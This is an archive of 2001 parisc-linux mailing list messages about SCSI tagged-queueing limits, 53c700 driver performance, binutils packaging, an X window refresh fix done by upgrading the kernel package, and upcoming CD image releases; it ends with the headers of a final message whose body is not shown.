Message-ID: <200110232359.f9NNxPG09126@localhost.localdomain>
References: <5116@telia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620673 28798 80.91.229.3 (22 Nov 2014 01:44:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:33 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	parisc-linux@lists.parisc-linux.org,
	Richard Hirst <rhirst@linuxcare.com>
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 17:59:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (adsl-64-109-89-110.chicago.il.ameritech.net [64.109.89.110])
	by dsl2.external.hp.com (Postfix) with ESMTP id B582E482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 17:59:39 -0600 (MDT)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.2/8.8.7) with ESMTP id f9NNxPG09126;
	Tue, 23 Oct 2001 18:59:25 -0500
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Daniel Engstrom <5116@telia.com> 
   of "Tue, 23 Oct 2001 22:33:50 +0200." <20011023223350.A1650@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:12798

5116@telia.com said:
> I have used these drives with i386 Linux without problems with both
> the aix7xxx driver and the sym53c8xx driver. Both these drivers use a
> default of max 8 tags per lun, so I chnaged the value in your driver
> and it works. So, maybe 8 tags per lun is the conservative default
> here ? 

That's not unreasonable.  You're going to run into problems with the new 
aic7xxx driver, though, which has a default of 253 tags.

Usually you want larger numbers of tags to allow multiple active I/Os and give 
the device the most freedom to order them efficiently.  However, in linux we 
have the elevator to consider as well:  The more tags, the less time the I/Os 
spend in the elevator queue and the less chance of coalescing adjacent I/O.  
For any given workload, there's probably an optimal tag number and I bet they 
cluster around some value for a variety of workloads, but I've no idea what it 
is.

I'd still be wary of allowing tags on this drive.  The firmware clearly has a 
point beyond which it goes haywire and you don't really know where that is.  
It could be that reducing the max tags to 8 makes this unlikely but not 
impossible, so you may still end up with insidious data corruption 
possibilities.

James






From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Yay, binutils fixed for hppa
Date: Tue, 23 Oct 2001 18:54:54 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20011023185454.G14102@tausq.org>
References: <20011022221714.O537@tausq.org> <Pine.LNX.4.21.0110231955320.29726-100000@spawn.hockeyfiend.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620674 28799 80.91.229.3 (22 Nov 2014 01:44:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:34 +0000 (UTC)
Cc: bcollins@debian.org, amodra@bigpond.net.au,
	parisc-linux@parisc-linux.org
To: "Christopher C. Chimelis" <chris@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 19:55:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id F099E482B
	for <parisc-linux@parisc-linux.org>; Tue, 23 Oct 2001 19:55:09 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id cgbgiaaa for parisc-linux@parisc-linux.org; Tue, 23 Oct 2001 18:50:19 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15wDFu-0005n1-00; Tue, 23 Oct 2001 18:54:54 -0700
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0110231955320.29726-100000@spawn.hockeyfiend.com>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: Randolph Chung <randolph@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12799

In reference to a message from Christopher C. Chimelis, dated Oct 23:
> 
> Ok, new source package on klecker in ~chris/public_html/binutils for your
> testing :-)  If it works, I'll do the upload tonight :-)

seems to be ok. please upload.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 53c700: tagged queueing problem confirmed
Date: Tue, 23 Oct 2001 21:38:58 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <200110240338.VAA19430@puffin.external.hp.com>
References: <James.Bottomley@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620674 28805 80.91.229.3 (22 Nov 2014 01:44:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:34 +0000 (UTC)
Cc: Daniel Engstrom <5116@telia.com>,
	parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 21:42:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64947482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 21:42:45 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA19430;
	Tue, 23 Oct 2001 21:38:58 -0600
In-Reply-To: Message from James Bottomley <James.Bottomley@HansenPartnership.com> 
   of "Tue, 23 Oct 2001 18:59:25 CDT." <200110232359.f9NNxPG09126@localhost.localdomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:12800

James Bottomley wrote:
> That's not unreasonable.  You're going to run into problems with the new 
> aic7xxx driver, though, which has a default of 253 tags.
> 
> Usually you want larger numbers of tags to allow multiple active I/Os
> and give the device the most freedom to order them efficiently.

Hmm...not really. Maybe for DOS or other really stupid OS's.

> However, in linux we have the elevator to consider as well:  The
> more tags, the less time the I/Os spend in the elevator queue and
> the less chance of coalescing adjacent I/O.  

That's right...coalescing and seek times need to be considered.
WCE bit (that I described before) also affects how long
IO are on the disk sort queue. With WCE enabled, setting the
max number of tags to 2 (or so) works very nicely.

I'm told Linux's disk sort elevator isn't very good about starvation.
ie IO's can get "prempted" for a long time because the IO
is destined for a currently "out of favor" geography on the disk.

One more consideration unique to multi-initiator SCSI clusters:
(Ie several hosts share devices on one SCSI bus)
The total number of outstanding IO can't exceed what the disk
is capable of handling or we end up wasting bandwidth to
requeue rejected IO's (BUSY msg or something like that).

> For any given workload, there's probably an optimal tag number and I bet
> they cluster around some value for a variety of workloads, but I've no
> idea what it is.

8 tags seems to be a pretty good trade off between on-disk optimizations
and OS trade-offs for database apps. At least that was true a few years
ago.

> I'd still be wary of allowing tags on this drive.  The firmware clearly has a
> point beyond which it goes haywire and you don't really know where that is.  
> It could be that reducing the max tags to 8 makes this unlikely but not 
> impossible, so you may still end up with insidious data corruption 
> possibilities.

Check with the vendor to see if the firmware is upgradeable.
Odds are if someone like HP or Sun is OEM'ing the disk, bugs
in the firmware have been found and fixed in later versions.

grant




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New 53c700 driver preformance evaluation
Date: Wed, 24 Oct 2001 07:21:02 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20011024072102.D1650@zaphod.halden.lillfab.se>
References: <5116@telia.com> <200110221752.LAA07067@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620674 28811 80.91.229.3 (22 Nov 2014 01:44:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:34 +0000 (UTC)
Cc: Daniel Engstrom <5116@telia.com>,
	parisc-linux@lists.parisc-linux.org,
	Richard Hirst <rhirst@linuxcare.com>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 23:21:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maild.telia.com (maild.telia.com [194.22.190.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1575A482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 23:21:18 -0600 (MDT)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by maild.telia.com (8.11.6/8.11.6) with ESMTP id f9O5L4B03912;
	Wed, 24 Oct 2001 07:21:08 +0200 (CEST)
Original-Received: from zaphod.halden.lillfab.se (t3o70p38.telia.com [62.20.149.38])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id f9O5L3f00754;
	Wed, 24 Oct 2001 07:21:03 +0200 (CEST)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id HAA09004;
	Wed, 24 Oct 2001 07:21:02 +0200
Disposition-Notification-To: Daniel Engstrom <5116@telia.com>
In-Reply-To: <200110221752.LAA07067@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Oct 22, 2001 at 19:52:44 +0200
X-Mailer: Balsa 1.1.4
Original-Lines: 38
Xref: news.gmane.org gmane.linux.ports.parisc:12801

Grant,

On 2001.10.22 19:52 Grant Grundler wrote:
> The difference between -pa32 and -pa61 are numerous.
> Lots of bug fixes many new minor features working.
> Really need to compare same -paXX with/without disconnects
> enabled in order to compare that variable.

I disabled disconnect with pa61 and got similar results as with disconnects
disabled with pa32, so most of the difference may be the disconnects.

> > I wonder if the lower speed for block I/O with the new driver is due to the
> > disabled disconnects?

I phrased this in a bad way, the old driver which is faster have disconnects
disabled.

> For a single threaded test, I would expect disconnects
> *enabled* to have lower throughput than when disabled.
Which is what I saw even if it was not very clearly expressed.
I got ~400k/s better block throughput with the old driver with disconnects
disabled (due to some driver problem) than with the new driver.
 
> Also, the fact that -pa61 output is more in line with hpux suggest -pa32
> could be lying about it's performance. ie the data isn't on media
> like bonnie expects. Same might be true for hpux on input. dunno.
> Need to troll and bonnie or other disk io perf mailing lists.
> 
> BTW, another HPUX (only on workstations) thing is to set WCE (write
> cache enable) on the SCSI device. 
Can this behaviur be controlled? I use 10.20.

Another thing which I want to bring up is locking. It seems out getc() performance is stuck at 314chars/sec while HPUX gives almost 600, could it be
that HPUX lock primitive is twice as fast as ours?

/Daniel

-- 




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New 53c700 driver preformance evaluation
Date: Tue, 23 Oct 2001 23:48:22 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <200110240548.XAA19760@puffin.external.hp.com>
References: <5116@telia.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620675 28814 80.91.229.3 (22 Nov 2014 01:44:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 23 23:51:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B8F8482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Oct 2001 23:51:59 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA19760;
	Tue, 23 Oct 2001 23:48:22 -0600
In-Reply-To: Message from Daniel Engstrom <5116@telia.com> 
   of "Wed, 24 Oct 2001 07:21:02 +0200." <20011024072102.D1650@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:12802

Daniel Engstrom wrote:
> Which is what I saw even if it was not very clearly expressed.
> I got ~400k/s better block throughput with the old driver with disconnects
> disabled (due to some driver problem) than with the new driver.

ah ok. It wasn't obvious to me.

> > BTW, another HPUX (only on workstations) thing is to set WCE (write
> > cache enable) on the SCSI device. 
> Can this behaviur be controlled? I use 10.20.

yes. iirc, it via scsictl command.

# scsictl
Usage: scsictl [-akq] [-m mode[=value]]... [-c command]... device

But HPUX calls WCE something else: "Immediate Reporting".
Keep that in mind when reading the man page.

> Another thing which I want to bring up is locking. It seems out getc() perfor
>   mance is stuck at 314chars/sec while HPUX gives almost 600, could it be
> that HPUX lock primitive is twice as fast as ours?

I think the lock primitive is the same - it's "ldcw".
It's something in the libc/syscall path but I have no clue what.

grant




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X window refresh problem
Date: Wed, 24 Oct 2001 06:22:42 +0000
Lines: 57
Approved: news@gmane.org
Message-ID: <F21AWmVXViK9NaKNaS500013821@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416620675 28817 80.91.229.3 (22 Nov 2014 01:44:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rhirst@linuxcare.com, aubreygriffin@att.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 00:22:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f21.law4.hotmail.com [216.33.149.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BD4C482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 00:22:44 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 23 Oct 2001 23:22:42 -0700
Original-Received: from 212.190.2.238 by lw4fd.law4.hotmail.msn.com with HTTP;
	Wed, 24 Oct 2001 06:22:42 GMT
X-Originating-IP: [212.190.2.238]
X-OriginalArrivalTime: 24 Oct 2001 06:22:42.0724 (UTC) FILETIME=[49BD5E40:01C15C54]
Xref: news.gmane.org gmane.linux.ports.parisc:12803

Or you can grab your kernel from parisc-linux.org and compile him yourself. 
This solved the refresh problem for me ;-)

enjoy life, enjoy linux,

Kenneth



>From: Richard Hirst <rhirst@linuxcare.com>
>To: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
>CC: "'parisc-linux@lists.parisc-linux.org'" 
><parisc-linux@lists.parisc-linux.org>
>Subject: Re: [parisc-linux] X window refresh problem
>Date: Tue, 23 Oct 2001 17:30:25 +0100
>
>On Tue, Oct 23, 2001 at 10:13:00AM -0400, Griffin, Aubrey, BMCIO wrote:
> > Hello all,
> >
> > Well, I decided to ditch HPUX 10.20 for Linux. I have installed the 
>kernel
> > from the ISO image onto a 712/60.
> >
> > I have installed X on it. Every is fine until the screen goes black. 
>Once
> > this happens, the colors are messed up and it is unusable. I believe 
>that is
> > the same problem as the blue is white that was talked on the mailing 
>list.
> > This problem was corrected with a new kernel.
> >
> > The kernel that I am running is 2.4.0-pa22. How do I upgrade the kernel?
>
>grab 
>ftp://ftp.parisc-linux.org/unofficial-debs/kernel-image-2.4.9-32_011017.pa59_hppa.deb
>
>and dpkg -i kernel-image-2.4.9-32_011017.pa59_hppa.deb
>
>I think you are advised to upgrade the rest of your system first, if
>you havn't done so recently (apt-get update; apt-get upgrade).
>
>Richard
>
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp





From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] I/O Tree patch ... CVS Head will be unstable for the next few days.
Date: Wed, 24 Oct 2001 08:42:24 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20011024084224.A7539@beavis.ybsoft.com>
References: <20011021155403.A2435@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620675 28819 80.91.229.3 (22 Nov 2014 01:44:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 08:42:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAD9E482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 08:42:58 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 2B269BD35; Wed, 24 Oct 2001 08:42:24 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20011021155403.A2435@beavis.ybsoft.com>
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12804

Hello parisc-linux hackers,

CVS head is starting to look pretty stable again.
This message is the "all clear" for others to work/play
with.  

Thanks,

- Ryan




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new cd-images any time soon?
Date: Wed, 24 Oct 2001 10:26:14 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D94C@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620676 28823 80.91.229.3 (22 Nov 2014 01:44:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:36 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 09:26:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0DD5482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 09:26:52 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id KAA27533; Wed, 24 Oct 2001 10:26:43 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHV6C6>; Wed, 24 Oct 2001 10:26:43 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12805

Will there be any new CD images any time soon? i.e. with current kernel,
packages, etc? 

Or is there a straigtforward way to easily build a CD image equivalent to
that which is on the ftp server?

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new cd-images any time soon?
Date: Wed, 24 Oct 2001 16:35:06 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20011024163506.A2752@parcelfarce.linux.theplanet.co.uk>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D94C@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620676 28824 80.91.229.3 (22 Nov 2014 01:44:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:36 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 09:35:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00276482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 09:35:07 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15wQ3e-0001rH-00; Wed, 24 Oct 2001 16:35:06 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D94C@umr-mail03.cc.umr.edu>; from nneul@umr.edu on Wed, Oct 24, 2001 at 10:26:14AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12806

On Wed, Oct 24, 2001 at 10:26:14AM -0500, Neulinger, Nathan wrote:
> Will there be any new CD images any time soon? i.e. with current kernel,
> packages, etc? 

Yes, we're planning an 0.9.3 release within the next couple of weeks.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] X window refresh problem
Date: Wed, 24 Oct 2001 11:41:55 -0400
Lines: 108
Approved: news@gmane.org
Message-ID: <5360C45FAB301541AEB3C6A45A6B6A02706836@ocst09.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620676 28827 80.91.229.3 (22 Nov 2014 01:44:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Kenneth Westelinck'" <kennywest1@hotmail.com>,
	rhirst@linuxcare.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 24 09:42:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from almso1.proxy.att.com (almso1.att.com [192.128.167.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B815482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Oct 2001 09:42:46 -0600 (MDT)
Original-Received: from gab200r1.ems.att.com ([135.37.94.32])
	by almso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f9OFgcC15957;
	Wed, 24 Oct 2001 11:42:39 -0400 (EDT)
Original-Received: from flf960bh1.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
	id LAA21803; Wed, 24 Oct 2001 11:42:58 -0400 (EDT)
Original-Received: by flf960bh1.ems.att.com with Internet Mail Service (5.5.2653.19)
	id <VHH26NV3>; Wed, 24 Oct 2001 11:42:38 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12807

My X windows problems have been cleared up.

I not sure what exactly made things work. apt-get update and apt-upgrade
might have done it since new versions of X among other things were
installed.

Changing back to 2.4.9-32-pa59 before doing this, of course.

PS: A side note on my failure to get a updated kernel. I didn't post this
earlier because I hate to write long-winded messages.

I did pull down the kernel source, linux-20011015.tar.gz and compile it over
the weekend. The resultant kernel, vmlinux, failed to boot on by box,
something about VFS: can't  mount root filesystem.

I must have missed some steps in the compilation process. These things are
not exactly clear to me. It might be middle-age or something. But, that is
another message thread which I may or may not start shortly.

Anyway, I learned how to use palo at the boot prompt to boot an old kernel.
So, it wasn't a total waste.

Previously, I had install the kernel debian package. That also failed to
work for me. But, I didn't know all the steps. I think that I understand
know. 

I browsed through the Debian package list and have not seen a kernel-image
package for HPPA. At least, there was no package name that I recognized as a
kernel image that was newer than mine.

So, I finally put my technical pride into my pocket and emailed the list for
help and the answers came in.

Thanks to everyone that helped,
Aubrey

-----Original Message-----
From: Kenneth Westelinck [mailto:kennywest1@hotmail.com]
Sent: Wednesday, October 24, 2001 2:23 AM
To: rhirst@linuxcare.com; Griffin, Aubrey, BMCIO
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] X window refresh problem


Or you can grab your kernel from parisc-linux.org and compile him yourself. 
This solved the refresh problem for me ;-)

enjoy life, enjoy linux,

Kenneth



>From: Richard Hirst <rhirst@linuxcare.com>
>To: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
>CC: "'parisc-linux@lists.parisc-linux.org'" 
><parisc-linux@lists.parisc-linux.org>
>Subject: Re: [parisc-linux] X window refresh problem
>Date: Tue, 23 Oct 2001 17:30:25 +0100
>
>On Tue, Oct 23, 2001 at 10:13:00AM -0400, Griffin, Aubrey, BMCIO wrote:
> > Hello all,
> >
> > Well, I decided to ditch HPUX 10.20 for Linux. I have installed the 
>kernel
> > from the ISO image onto a 712/60.
> >
> > I have installed X on it. Every is fine until the screen goes black. 
>Once
> > this happens, the colors are messed up and it is unusable. I believe 
>that is
> > the same problem as the blue is white that was talked on the mailing 
>list.
> > This problem was corrected with a new kernel.
> >
> > The kernel that I am running is 2.4.0-pa22. How do I upgrade the kernel?
>
>grab 
>ftp://ftp.parisc-linux.org/unofficial-debs/kernel-image-2.4.9-32_011017.pa5
9_hppa.deb
>
>and dpkg -i kernel-image-2.4.9-32_011017.pa59_hppa.deb
>
>I think you are advised to upgrade the rest of your system first, if
>you havn't done so recently (apt-get update; apt-get upgrade).
>
>Richard
>
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:20:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new cd-images any time soon?
Date: Wed, 24 Oct 2001 20:14:24 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20011024201423.A16100@dogbert.localdomain>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D94C@umr-mail03.cc.umr.edu> <20011024163506.A2752@parcelfarce.linux.theplanet.co.uk>
